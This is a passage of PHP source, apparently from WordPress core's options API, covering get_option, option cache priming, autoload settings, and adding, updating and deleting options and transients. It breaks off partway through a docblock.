	 * @param mixed  $default_value The fallback value to return if the option does not exist.
	 *                              Default false.
	 */
	$pre = apply_filters( "pre_option_{$option}", false, $option, $default_value );

	/**
	 * Filters the value of all existing options before it is retrieved.
	 *
	 * Returning a truthy value from the filter will effectively short-circuit retrieval
	 * and return the passed value instead.
	 *
	 * @since 6.1.0
	 *
	 * @param mixed  $pre_option    The value to return instead of the option value. This differs from
	 *                              `$default_value`, which is used as the fallback value in the event
	 *                              the option doesn't exist elsewhere in get_option().
	 *                              Default false (to skip past the short-circuit).
	 * @param string $option        Name of the option.
	 * @param mixed  $default_value The fallback value to return if the option does not exist.
	 *                              Default false.
	 */
	$pre = apply_filters( 'pre_option', $pre, $option, $default_value );

	if ( false !== $pre ) {
		return $pre;
	}

	if ( defined( 'WP_SETUP_CONFIG' ) ) {
		return false;
	}

	// Distinguish between `false` as a default, and not passing one.
	$passed_default = func_num_args() > 1;

	if ( ! wp_installing() ) {
		$alloptions = wp_load_alloptions();

		if ( isset( $alloptions[ $option ] ) ) {
			$value = $alloptions[ $option ];
		} else {
			$value = wp_cache_get( $option, 'options' );

			if ( false === $value ) {
				// Prevent non-existent options from triggering multiple queries.
				$notoptions = wp_cache_get( 'notoptions', 'options' );

				// Prevent non-existent `notoptions` key from triggering multiple key lookups.
				if ( ! is_array( $notoptions ) ) {
					$notoptions = array();
					wp_cache_set( 'notoptions', $notoptions, 'options' );
				} elseif ( isset( $notoptions[ $option ] ) ) {
					/**
					 * Filters the default value for an option.
					 *
					 * The dynamic portion of the hook name, `$option`, refers to the option name.
					 *
					 * @since 3.4.0
					 * @since 4.4.0 The `$option` parameter was added.
					 * @since 4.7.0 The `$passed_default` parameter was added to distinguish between a `false` value and the default parameter value.
					 *
					 * @param mixed  $default_value  The default value to return if the option does not exist
					 *                               in the database.
					 * @param string $option         Option name.
					 * @param bool   $passed_default Was `get_option()` passed a default value?
					 */
					return apply_filters( "default_option_{$option}", $default_value, $option, $passed_default );
				}

				$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option ) );

				// Has to be get_row() instead of get_var() because of funkiness with 0, false, null values.
				if ( is_object( $row ) ) {
					$value = $row->option_value;
					wp_cache_add( $option, $value, 'options' );
				} else { // Option does not exist, so we must cache its non-existence.
					$notoptions[ $option ] = true;
					wp_cache_set( 'notoptions', $notoptions, 'options' );

					/** This filter is documented in wp-includes/option.php */
					return apply_filters( "default_option_{$option}", $default_value, $option, $passed_default );
				}
			}
		}
	} else {
		$suppress = $wpdb->suppress_errors();
		$row      = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option ) );
		$wpdb->suppress_errors( $suppress );

		if ( is_object( $row ) ) {
			$value = $row->option_value;
		} else {
			/** This filter is documented in wp-includes/option.php */
			return apply_filters( "default_option_{$option}", $default_value, $option, $passed_default );
		}
	}

	// If home is not set, use siteurl.
	if ( 'home' === $option && '' === $value ) {
		return get_option( 'siteurl' );
	}

	if ( in_array( $option, array( 'siteurl', 'home', 'category_base', 'tag_base' ), true ) ) {
		$value = untrailingslashit( $value );
	}

	/**
	 * Filters the value of an existing option.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 1.5.0 As 'option_' . $setting
	 * @since 3.0.0
	 * @since 4.4.0 The `$option` parameter was added.
	 *
	 * @param mixed  $value  Value of the option. If stored serialized, it will be
	 *                       unserialized prior to being returned.
	 * @param string $option Option name.
	 */
	return apply_filters( "option_{$option}", maybe_unserialize( $value ), $option );
}

/**
 * Primes specific options into the cache with a single database query.
 *
 * Only options that do not already exist in cache will be loaded.
 *
 * @since 6.4.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string[] $options An array of option names to be loaded.
 */
function wp_prime_option_caches( $options ) {
	global $wpdb;

	$alloptions     = wp_load_alloptions();
	$cached_options = wp_cache_get_multiple( $options, 'options' );
	$notoptions     = wp_cache_get( 'notoptions', 'options' );
	if ( ! is_array( $notoptions ) ) {
		$notoptions = array();
	}

	// Filter options that are not in the cache.
	$options_to_prime = array();
	foreach ( $options as $option ) {
		if (
			( ! isset( $cached_options[ $option ] ) || false === $cached_options[ $option ] )
			&& ! isset( $alloptions[ $option ] )
			&& ! isset( $notoptions[ $option ] )
		) {
			$options_to_prime[] = $option;
		}
	}

	// Bail early if there are no options to be loaded.
	if ( empty( $options_to_prime ) ) {
		return;
	}

	$results = $wpdb->get_results(
		$wpdb->prepare(
			sprintf(
				"SELECT option_name, option_value FROM $wpdb->options WHERE option_name IN (%s)",
				implode( ',', array_fill( 0, count( $options_to_prime ), '%s' ) )
			),
			$options_to_prime
		)
	);

	$options_found = array();
	foreach ( $results as $result ) {
		/*
		 * The cache is primed with the raw value (i.e. not maybe_unserialized).
		 *
		 * `get_option()` will handle unserializing the value as needed.
		 */
		$options_found[ $result->option_name ] = $result->option_value;
	}
	wp_cache_set_multiple( $options_found, 'options' );

	// If all options were found, no need to update `notoptions` cache.
	if ( count( $options_found ) === count( $options_to_prime ) ) {
		return;
	}

	$options_not_found = array_diff( $options_to_prime, array_keys( $options_found ) );

	// Add the options that were not found to the cache.
	$update_notoptions = false;
	foreach ( $options_not_found as $option_name ) {
		if ( ! isset( $notoptions[ $option_name ] ) ) {
			$notoptions[ $option_name ] = true;
			$update_notoptions          = true;
		}
	}

	// Only update the cache if it was modified.
	if ( $update_notoptions ) {
		wp_cache_set( 'notoptions', $notoptions, 'options' );
	}
}

/**
 * Primes the cache of all options registered with a specific option group.
 *
 * @since 6.4.0
 *
 * @global array $new_allowed_options
 *
 * @param string $option_group The option group to load options for.
 */
function wp_prime_option_caches_by_group( $option_group ) {
	global $new_allowed_options;

	if ( isset( $new_allowed_options[ $option_group ] ) ) {
		wp_prime_option_caches( $new_allowed_options[ $option_group ] );
	}
}

/**
 * Retrieves multiple options.
 *
 * Options are loaded as necessary first in order to use a single database query at most.
 *
 * @since 6.4.0
 *
 * @param string[] $options An array of option names to retrieve.
 * @return array An array of key-value pairs for the requested options.
 */
function get_options( $options ) {
	wp_prime_option_caches( $options );

	$result = array();
	foreach ( $options as $option ) {
		$result[ $option ] = get_option( $option );
	}

	return $result;
}

/**
 * Sets the autoload values for multiple options in the database.
 *
 * Autoloading too many options can lead to performance problems, especially if the options are not frequently used.
 * This function allows modifying the autoload value for multiple options without changing the actual option value.
 * This is for example recommended for plugin activation and deactivation hooks, to ensure any options exclusively used
 * by the plugin which are generally autoloaded can be set to not autoload when the plugin is inactive.
 *
 * @since 6.4.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $options Associative array of option names and their autoload values to set. The option names are
 *                       expected to not be SQL-escaped. The autoload values accept 'yes'|true to enable or 'no'|false
 *                       to disable.
 * @return array Associative array of all provided $options as keys and boolean values for whether their autoload value
 *               was updated.
 */
function wp_set_option_autoload_values( array $options ) {
	global $wpdb;

	if ( ! $options ) {
		return array();
	}

	$grouped_options = array(
		'yes' => array(),
		'no'  => array(),
	);
	$results         = array();
	foreach ( $options as $option => $autoload ) {
		wp_protect_special_option( $option ); // Ensure only valid options can be passed.
		if ( 'no' === $autoload || false === $autoload ) { // Sanitize autoload value and categorize accordingly.
			$grouped_options['no'][] = $option;
		} else {
			$grouped_options['yes'][] = $option;
		}
		$results[ $option ] = false; // Initialize result value.
	}

	$where      = array();
	$where_args = array();
	foreach ( $grouped_options as $autoload => $options ) {
		if ( ! $options ) {
			continue;
		}
		$placeholders = implode( ',', array_fill( 0, count( $options ), '%s' ) );
		$where[]      = "autoload != '%s' AND option_name IN ($placeholders)";
		$where_args[] = $autoload;
		foreach ( $options as $option ) {
			$where_args[] = $option;
		}
	}
	$where = 'WHERE ' . implode( ' OR ', $where );

	/*
	 * Determine the relevant options that do not already use the given autoload value.
	 * If no options are returned, no need to update.
	 */
	// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
	$options_to_update = $wpdb->get_col( $wpdb->prepare( "SELECT option_name FROM $wpdb->options $where", $where_args ) );
	if ( ! $options_to_update ) {
		return $results;
	}

	// Run UPDATE queries as needed (maximum 2) to update the relevant options' autoload values to 'yes' or 'no'.
	foreach ( $grouped_options as $autoload => $options ) {
		if ( ! $options ) {
			continue;
		}
		$options                      = array_intersect( $options, $options_to_update );
		$grouped_options[ $autoload ] = $options;
		if ( ! $grouped_options[ $autoload ] ) {
			continue;
		}

		// Run query to update autoload value for all the options where it is needed.
		$success = $wpdb->query(
			$wpdb->prepare(
				"UPDATE $wpdb->options SET autoload = %s WHERE option_name IN (" . implode( ',', array_fill( 0, count( $grouped_options[ $autoload ] ), '%s' ) ) . ')',
				array_merge(
					array( $autoload ),
					$grouped_options[ $autoload ]
				)
			)
		);
		if ( ! $success ) {
			// Set option list to an empty array to indicate no options were updated.
			$grouped_options[ $autoload ] = array();
			continue;
		}

		// Assume that on success all options were updated, which should be the case given only new values are sent.
		foreach ( $grouped_options[ $autoload ] as $option ) {
			$results[ $option ] = true;
		}
	}

	/*
	 * If any options were changed to 'yes', delete their individual caches, and delete 'alloptions' cache so that it
	 * is refreshed as needed.
	 * If no options were changed to 'yes' but any options were changed to 'no', delete them from the 'alloptions'
	 * cache. This is not necessary when options were changed to 'yes', since in that situation the entire cache is
	 * deleted anyway.
	 */
	if ( $grouped_options['yes'] ) {
		wp_cache_delete_multiple( $grouped_options['yes'], 'options' );
		wp_cache_delete( 'alloptions', 'options' );
	} elseif ( $grouped_options['no'] ) {
		$alloptions = wp_load_alloptions( true );

		foreach ( $grouped_options['no'] as $option ) {
			if ( isset( $alloptions[ $option ] ) ) {
				unset( $alloptions[ $option ] );
			}
		}

		wp_cache_set( 'alloptions', $alloptions, 'options' );
	}

	return $results;
}

/**
 * Sets the autoload value for multiple options in the database.
 *
 * This is a wrapper for {@see wp_set_option_autoload_values()}, which can be used to set different autoload values for
 * each option at once.
 *
 * @since 6.4.0
 *
 * @see wp_set_option_autoload_values()
 *
 * @param string[]    $options  List of option names. Expected to not be SQL-escaped.
 * @param string|bool $autoload Autoload value to control whether to load the options when WordPress starts up.
 *                              Accepts 'yes'|true to enable or 'no'|false to disable.
 * @return array Associative array of all provided $options as keys and boolean values for whether their autoload value
 *               was updated.
 */
function wp_set_options_autoload( array $options, $autoload ) {
	return wp_set_option_autoload_values(
		array_fill_keys( $options, $autoload )
	);
}

/**
 * Sets the autoload value for an option in the database.
 *
 * This is a wrapper for {@see wp_set_option_autoload_values()}, which can be used to set the autoload value for
 * multiple options at once.
 *
 * @since 6.4.0
 *
 * @see wp_set_option_autoload_values()
 *
 * @param string      $option   Name of the option. Expected to not be SQL-escaped.
 * @param string|bool $autoload Autoload value to control whether to load the option when WordPress starts up.
 *                              Accepts 'yes'|true to enable or 'no'|false to disable.
 * @return bool True if the autoload value was modified, false otherwise.
 */
function wp_set_option_autoload( $option, $autoload ) {
	$result = wp_set_option_autoload_values( array( $option => $autoload ) );
	if ( isset( $result[ $option ] ) ) {
		return $result[ $option ];
	}
	return false;
}

/**
 * Protects WordPress special option from being modified.
 *
 * Will die if $option is in protected list. Protected options are 'alloptions'
 * and 'notoptions' options.
 *
 * @since 2.2.0
 *
 * @param string $option Option name.
 */
function wp_protect_special_option( $option ) {
	if ( 'alloptions' === $option || 'notoptions' === $option ) {
		wp_die(
			sprintf(
				/* translators: %s: Option name. */
				__( '%s is a protected WP option and may not be modified' ),
				esc_html( $option )
			)
		);
	}
}

/**
 * Prints option value after sanitizing for forms.
 *
 * @since 1.5.0
 *
 * @param string $option Option name.
 */
function form_option( $option ) {
	echo esc_attr( get_option( $option ) );
}

/**
 * Loads and caches all autoloaded options, if available or all options.
 *
 * @since 2.2.0
 * @since 5.3.1 The `$force_cache` parameter was added.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param bool $force_cache Optional. Whether to force an update of the local cache
 *                          from the persistent cache. Default false.
 * @return array List of all options.
 */
function wp_load_alloptions( $force_cache = false ) {
	global $wpdb;

	/**
	 * Filters the array of alloptions before it is populated.
	 *
	 * Returning an array from the filter will effectively short circuit
	 * wp_load_alloptions(), returning that value instead.
	 *
	 * @since 6.2.0
	 *
	 * @param array|null $alloptions  An array of alloptions. Default null.
	 * @param bool       $force_cache Whether to force an update of the local cache from the persistent cache. Default false.
	 */
	$alloptions = apply_filters( 'pre_wp_load_alloptions', null, $force_cache );
	if ( is_array( $alloptions ) ) {
		return $alloptions;
	}

	if ( ! wp_installing() || ! is_multisite() ) {
		$alloptions = wp_cache_get( 'alloptions', 'options', $force_cache );
	} else {
		$alloptions = false;
	}

	if ( ! $alloptions ) {
		$suppress      = $wpdb->suppress_errors();
		$alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options WHERE autoload = 'yes'" );
		if ( ! $alloptions_db ) {
			$alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options" );
		}
		$wpdb->suppress_errors( $suppress );

		$alloptions = array();
		foreach ( (array) $alloptions_db as $o ) {
			$alloptions[ $o->option_name ] = $o->option_value;
		}

		if ( ! wp_installing() || ! is_multisite() ) {
			/**
			 * Filters all options before caching them.
			 *
			 * @since 4.9.0
			 *
			 * @param array $alloptions Array with all options.
			 */
			$alloptions = apply_filters( 'pre_cache_alloptions', $alloptions );

			wp_cache_add( 'alloptions', $alloptions, 'options' );
		}
	}

	/**
	 * Filters all options after retrieving them.
	 *
	 * @since 4.9.0
	 *
	 * @param array $alloptions Array with all options.
	 */
	return apply_filters( 'alloptions', $alloptions );
}

/**
 * Loads and primes caches of certain often requested network options if is_multisite().
 *
 * @since 3.0.0
 * @since 6.3.0 Also prime caches for network options when persistent object cache is enabled.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $network_id Optional. Network ID of network for which to prime network options cache. Defaults to current network.
 */
function wp_load_core_site_options( $network_id = null ) {
	global $wpdb;

	if ( ! is_multisite() || wp_installing() ) {
		return;
	}

	if ( empty( $network_id ) ) {
		$network_id = get_current_network_id();
	}

	$core_options = array( 'site_name', 'siteurl', 'active_sitewide_plugins', '_site_transient_timeout_theme_roots', '_site_transient_theme_roots', 'site_admins', 'can_compress_scripts', 'global_terms_enabled', 'ms_files_rewriting' );

	if ( wp_using_ext_object_cache() ) {
		$cache_keys = array();
		foreach ( $core_options as $option ) {
			$cache_keys[] = "{$network_id}:{$option}";
		}
		wp_cache_get_multiple( $cache_keys, 'site-options' );

		return;
	}

	$core_options_in = "'" . implode( "', '", $core_options ) . "'";
	$options         = $wpdb->get_results( $wpdb->prepare( "SELECT meta_key, meta_value FROM $wpdb->sitemeta WHERE meta_key IN ($core_options_in) AND site_id = %d", $network_id ) );

	$data = array();
	foreach ( $options as $option ) {
		$key                = $option->meta_key;
		$cache_key          = "{$network_id}:$key";
		$option->meta_value = maybe_unserialize( $option->meta_value );

		$data[ $cache_key ] = $option->meta_value;
	}
	wp_cache_set_multiple( $data, 'site-options' );
}

/**
 * Updates the value of an option that was already added.
 *
 * You do not need to serialize values. If the value needs to be serialized,
 * then it will be serialized before it is inserted into the database.
 * Remember, resources cannot be serialized or added as an option.
 *
 * If the option does not exist, it will be created.

 * This function is designed to work with or without a logged-in user. In terms of security,
 * plugin developers should check the current user's capabilities before updating any options.
 *
 * @since 1.0.0
 * @since 4.2.0 The `$autoload` parameter was added.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string      $option   Name of the option to update. Expected to not be SQL-escaped.
 * @param mixed       $value    Option value. Must be serializable if non-scalar. Expected to not be SQL-escaped.
 * @param string|bool $autoload Optional. Whether to load the option when WordPress starts up. For existing options,
 *                              `$autoload` can only be updated using `update_option()` if `$value` is also changed.
 *                              Accepts 'yes'|true to enable or 'no'|false to disable.
 *                              Autoloading too many options can lead to performance problems, especially if the
 *                              options are not frequently used. For options which are accessed across several places
 *                              in the frontend, it is recommended to autoload them, by using 'yes'|true.
 *                              For options which are accessed only on few specific URLs, it is recommended
 *                              to not autoload them, by using 'no'|false. For non-existent options, the default value
 *                              is 'yes'. Default null.
 * @return bool True if the value was updated, false otherwise.
 */
function update_option( $option, $value, $autoload = null ) {
	global $wpdb;

	if ( is_scalar( $option ) ) {
		$option = trim( $option );
	}

	if ( empty( $option ) ) {
		return false;
	}

	/*
	 * Until a proper _deprecated_option() function can be introduced,
	 * redirect requests to deprecated keys to the new, correct ones.
	 */
	$deprecated_keys = array(
		'blacklist_keys'    => 'disallowed_keys',
		'comment_whitelist' => 'comment_previously_approved',
	);

	if ( isset( $deprecated_keys[ $option ] ) && ! wp_installing() ) {
		_deprecated_argument(
			__FUNCTION__,
			'5.5.0',
			sprintf(
				/* translators: 1: Deprecated option key, 2: New option key. */
				__( 'The "%1$s" option key has been renamed to "%2$s".' ),
				$option,
				$deprecated_keys[ $option ]
			)
		);
		return update_option( $deprecated_keys[ $option ], $value, $autoload );
	}

	wp_protect_special_option( $option );

	if ( is_object( $value ) ) {
		$value = clone $value;
	}

	$value     = sanitize_option( $option, $value );
	$old_value = get_option( $option );

	/**
	 * Filters a specific option before its value is (maybe) serialized and updated.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 2.6.0
	 * @since 4.4.0 The `$option` parameter was added.
	 *
	 * @param mixed  $value     The new, unserialized option value.
	 * @param mixed  $old_value The old option value.
	 * @param string $option    Option name.
	 */
	$value = apply_filters( "pre_update_option_{$option}", $value, $old_value, $option );

	/**
	 * Filters an option before its value is (maybe) serialized and updated.
	 *
	 * @since 3.9.0
	 *
	 * @param mixed  $value     The new, unserialized option value.
	 * @param string $option    Name of the option.
	 * @param mixed  $old_value The old option value.
	 */
	$value = apply_filters( 'pre_update_option', $value, $option, $old_value );

	/*
	 * If the new and old values are the same, no need to update.
	 *
	 * Unserialized values will be adequate in most cases. If the unserialized
	 * data differs, the (maybe) serialized data is checked to avoid
	 * unnecessary database calls for otherwise identical object instances.
	 *
	 * See https://core.trac.wordpress.org/ticket/38903
	 */
	if ( $value === $old_value || maybe_serialize( $value ) === maybe_serialize( $old_value ) ) {
		return false;
	}

	/** This filter is documented in wp-includes/option.php */
	if ( apply_filters( "default_option_{$option}", false, $option, false ) === $old_value ) {
		// Default setting for new options is 'yes'.
		if ( null === $autoload ) {
			$autoload = 'yes';
		}

		return add_option( $option, $value, '', $autoload );
	}

	$serialized_value = maybe_serialize( $value );

	/**
	 * Fires immediately before an option value is updated.
	 *
	 * @since 2.9.0
	 *
	 * @param string $option    Name of the option to update.
	 * @param mixed  $old_value The old option value.
	 * @param mixed  $value     The new option value.
	 */
	do_action( 'update_option', $option, $old_value, $value );

	$update_args = array(
		'option_value' => $serialized_value,
	);

	if ( null !== $autoload ) {
		$update_args['autoload'] = ( 'no' === $autoload || false === $autoload ) ? 'no' : 'yes';
	}

	$result = $wpdb->update( $wpdb->options, $update_args, array( 'option_name' => $option ) );
	if ( ! $result ) {
		return false;
	}

	$notoptions = wp_cache_get( 'notoptions', 'options' );

	if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {
		unset( $notoptions[ $option ] );
		wp_cache_set( 'notoptions', $notoptions, 'options' );
	}

	if ( ! wp_installing() ) {
		if ( ! isset( $update_args['autoload'] ) ) {
			// Update the cached value based on where it is currently cached.
			$alloptions = wp_load_alloptions( true );

			if ( isset( $alloptions[ $option ] ) ) {
				$alloptions[ $option ] = $serialized_value;
				wp_cache_set( 'alloptions', $alloptions, 'options' );
			} else {
				wp_cache_set( $option, $serialized_value, 'options' );
			}
		} elseif ( 'yes' === $update_args['autoload'] ) {
			// Delete the individual cache, then set in alloptions cache.
			wp_cache_delete( $option, 'options' );

			$alloptions = wp_load_alloptions( true );

			$alloptions[ $option ] = $serialized_value;
			wp_cache_set( 'alloptions', $alloptions, 'options' );
		} else {
			// Delete the alloptions cache, then set the individual cache.
			$alloptions = wp_load_alloptions( true );

			if ( isset( $alloptions[ $option ] ) ) {
				unset( $alloptions[ $option ] );
				wp_cache_set( 'alloptions', $alloptions, 'options' );
			}

			wp_cache_set( $option, $serialized_value, 'options' );
		}
	}

	/**
	 * Fires after the value of a specific option has been successfully updated.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 2.0.1
	 * @since 4.4.0 The `$option` parameter was added.
	 *
	 * @param mixed  $old_value The old option value.
	 * @param mixed  $value     The new option value.
	 * @param string $option    Option name.
	 */
	do_action( "update_option_{$option}", $old_value, $value, $option );

	/**
	 * Fires after the value of an option has been successfully updated.
	 *
	 * @since 2.9.0
	 *
	 * @param string $option    Name of the updated option.
	 * @param mixed  $old_value The old option value.
	 * @param mixed  $value     The new option value.
	 */
	do_action( 'updated_option', $option, $old_value, $value );

	return true;
}

/**
 * Adds a new option.
 *
 * You do not need to serialize values. If the value needs to be serialized,
 * then it will be serialized before it is inserted into the database.
 * Remember, resources cannot be serialized or added as an option.
 *
 * You can create options without values and then update the values later.
 * Existing options will not be updated and checks are performed to ensure that you
 * aren't adding a protected WordPress option. Care should be taken to not name
 * options the same as the ones which are protected.
 *
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string      $option     Name of the option to add. Expected to not be SQL-escaped.
 * @param mixed       $value      Optional. Option value. Must be serializable if non-scalar.
 *                                Expected to not be SQL-escaped.
 * @param string      $deprecated Optional. Description. Not used anymore.
 * @param string|bool $autoload   Optional. Whether to load the option when WordPress starts up.
 *                                Accepts 'yes'|true to enable or 'no'|false to disable.
 *                                Autoloading too many options can lead to performance problems, especially if the
 *                                options are not frequently used. For options which are accessed across several places
 *                                in the frontend, it is recommended to autoload them, by using 'yes'|true.
 *                                For options which are accessed only on few specific URLs, it is recommended
 *                                to not autoload them, by using 'no'|false. Default 'yes'.
 * @return bool True if the option was added, false otherwise.
 */
function add_option( $option, $value = '', $deprecated = '', $autoload = 'yes' ) {
	global $wpdb;

	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '2.3.0' );
	}

	if ( is_scalar( $option ) ) {
		$option = trim( $option );
	}

	if ( empty( $option ) ) {
		return false;
	}

	/*
	 * Until a proper _deprecated_option() function can be introduced,
	 * redirect requests to deprecated keys to the new, correct ones.
	 */
	$deprecated_keys = array(
		'blacklist_keys'    => 'disallowed_keys',
		'comment_whitelist' => 'comment_previously_approved',
	);

	if ( isset( $deprecated_keys[ $option ] ) && ! wp_installing() ) {
		_deprecated_argument(
			__FUNCTION__,
			'5.5.0',
			sprintf(
				/* translators: 1: Deprecated option key, 2: New option key. */
				__( 'The "%1$s" option key has been renamed to "%2$s".' ),
				$option,
				$deprecated_keys[ $option ]
			)
		);
		return add_option( $deprecated_keys[ $option ], $value, $deprecated, $autoload );
	}

	wp_protect_special_option( $option );

	if ( is_object( $value ) ) {
		$value = clone $value;
	}

	$value = sanitize_option( $option, $value );

	/*
	 * Make sure the option doesn't already exist.
	 * We can check the 'notoptions' cache before we ask for a DB query.
	 */
	$notoptions = wp_cache_get( 'notoptions', 'options' );

	if ( ! is_array( $notoptions ) || ! isset( $notoptions[ $option ] ) ) {
		/** This filter is documented in wp-includes/option.php */
		if ( apply_filters( "default_option_{$option}", false, $option, false ) !== get_option( $option ) ) {
			return false;
		}
	}

	$serialized_value = maybe_serialize( $value );
	$autoload         = ( 'no' === $autoload || false === $autoload ) ? 'no' : 'yes';

	/**
	 * Fires before an option is added.
	 *
	 * @since 2.9.0
	 *
	 * @param string $option Name of the option to add.
	 * @param mixed  $value  Value of the option.
	 */
	do_action( 'add_option', $option, $value );

	$result = $wpdb->query( $wpdb->prepare( "INSERT INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, %s) ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)", $option, $serialized_value, $autoload ) );
	if ( ! $result ) {
		return false;
	}

	if ( ! wp_installing() ) {
		if ( 'yes' === $autoload ) {
			$alloptions            = wp_load_alloptions( true );
			$alloptions[ $option ] = $serialized_value;
			wp_cache_set( 'alloptions', $alloptions, 'options' );
		} else {
			wp_cache_set( $option, $serialized_value, 'options' );
		}
	}

	// This option exists now.
	$notoptions = wp_cache_get( 'notoptions', 'options' ); // Yes, again... we need it to be fresh.

	if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {
		unset( $notoptions[ $option ] );
		wp_cache_set( 'notoptions', $notoptions, 'options' );
	}

	/**
	 * Fires after a specific option has been added.
	 *
	 * The dynamic portion of the hook name, `$option`, refers to the option name.
	 *
	 * @since 2.5.0 As "add_option_{$name}"
	 * @since 3.0.0
	 *
	 * @param string $option Name of the option to add.
	 * @param mixed  $value  Value of the option.
	 */
	do_action( "add_option_{$option}", $option, $value );

	/**
	 * Fires after an option has been added.
	 *
	 * @since 2.9.0
	 *
	 * @param string $option Name of the added option.
	 * @param mixed  $value  Value of the option.
	 */
	do_action( 'added_option', $option, $value );

	return true;
}

/**
 * Removes an option by name. Prevents removal of protected WordPress options.
 *
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $option Name of the option to delete. Expected to not be SQL-escaped.
 * @return bool True if the option was deleted, false otherwise.
 */
function delete_option( $option ) {
	global $wpdb;

	if ( is_scalar( $option ) ) {
		$option = trim( $option );
	}

	if ( empty( $option ) ) {
		return false;
	}

	wp_protect_special_option( $option );

	// Get the ID, if no ID then return.
	$row = $wpdb->get_row( $wpdb->prepare( "SELECT autoload FROM $wpdb->options WHERE option_name = %s", $option ) );
	if ( is_null( $row ) ) {
		return false;
	}

	/**
	 * Fires immediately before an option is deleted.
	 *
	 * @since 2.9.0
	 *
	 * @param string $option Name of the option to delete.
	 */
	do_action( 'delete_option', $option );

	$result = $wpdb->delete( $wpdb->options, array( 'option_name' => $option ) );

	if ( ! wp_installing() ) {
		if ( 'yes' === $row->autoload ) {
			$alloptions = wp_load_alloptions( true );

			if ( is_array( $alloptions ) && isset( $alloptions[ $option ] ) ) {
				unset( $alloptions[ $option ] );
				wp_cache_set( 'alloptions', $alloptions, 'options' );
			}
		} else {
			wp_cache_delete( $option, 'options' );
		}
	}

	if ( $result ) {

		/**
		 * Fires after a specific option has been deleted.
		 *
		 * The dynamic portion of the hook name, `$option`, refers to the option name.
		 *
		 * @since 3.0.0
		 *
		 * @param string $option Name of the deleted option.
		 */
		do_action( "delete_option_{$option}", $option );

		/**
		 * Fires after an option has been deleted.
		 *
		 * @since 2.9.0
		 *
		 * @param string $option Name of the deleted option.
		 */
		do_action( 'deleted_option', $option );

		return true;
	}

	return false;
}

/**
 * Deletes a transient.
 *
 * @since 2.8.0
 *
 * @param string $transient Transient name. Expected to not be SQL-escaped.
 * @return bool True if the transient was deleted, false otherwise.
 */
function delete_transient( $transient ) {

	/**
	 * Fires immediately before a specific transient is deleted.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 3.0.0
	 *
	 * @param string $transient Transient name.
	 */
	do_action( "delete_transient_{$transient}", $transient );

	if ( wp_using_ext_object_cache() || wp_installing() ) {
		$result = wp_cache_delete( $transient, 'transient' );
	} else {
		$option_timeout = '_transient_timeout_' . $transient;
		$option         = '_transient_' . $transient;
		$result         = delete_option( $option );

		if ( $result ) {
			delete_option( $option_timeout );
		}
	}

	if ( $result ) {

		/**
		 * Fires after a transient is deleted.
		 *
		 * @since 3.0.0
		 *
		 * @param string $transient Deleted transient name.
		 */
		do_action( 'deleted_transient', $transient );
	}

	return $result;
}

/**
 * Retrieves the value of a transient.
 *
 * If the transient does not exist, does not have a value, or has expired,
 * then the return value will be false.
 *
 * @since 2.8.0
 *
 * @param string $transient Transient name. Expected to not be SQL-escaped.
 * @return mixed Value of transient.
 */
function get_transient( $transient ) {

	/**
	 * Filters the value of an existing transient before it is retrieved.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * Returning a value other than false from the filter will short-circuit retrieval
	 * and return that value instead.
	 *
	 * @since 2.8.0
	 * @since 4.4.0 The `$transient` parameter was added
	 *
	 * @param mixed  $pre_transient The default value to return if the transient does not exist.
	 *                              Any value other than false will short-circuit the retrieval
	 *                              of the transient, and return that value.
	 * @param string $transient     Transient name.
	 */
	$pre = apply_filters( "pre_transient_{$transient}", false, $transient );

	if ( false !== $pre ) {
		return $pre;
	}

	if ( wp_using_ext_object_cache() || wp_installing() ) {
		$value = wp_cache_get( $transient, 'transient' );
	} else {
		$transient_option = '_transient_' . $transient;
		if ( ! wp_installing() ) {
			// If option is not in alloptions, it is not autoloaded and thus has a timeout.
			$alloptions = wp_load_alloptions();

			if ( ! isset( $alloptions[ $transient_option ] ) ) {
				$transient_timeout = '_transient_timeout_' . $transient;
				$timeout           = get_option( $transient_timeout );
				if ( false !== $timeout && $timeout < time() ) {
					delete_option( $transient_option );
					delete_option( $transient_timeout );
					$value = false;
				}
			}
		}

		if ( ! isset( $value ) ) {
			$value = get_option( $transient_option );
		}
	}

	/**
	 * Filters an existing transient's value.
	 *
	 * The dynamic portion of the hook name, `$transient`, refers to the transient name.
	 *
	 * @since 2.8.0
	 * @since 4.4.0 The `$transient` parameter was added
	 *
	 * @param mixed  $value     Value of transient.
	 * @param string $transient Transient name.
	 */
	return apply_filters( "transient_{$transient}", $value, $transient );
}

/**
 * Sets/updates the value of a transient.
 *
 * You do not need to serialize values. If the value needs to be serialized,
 * then it will be serialized before it is set.
 *
 * @since 2.8.0
 *
 * @param string $transient  Transient name. Expected to not be SQL-escaped.
 *                           Must be 172 characters or fewer in length.
 * @param mixed  $value      Transient value. Must be serializable if non-scalar.
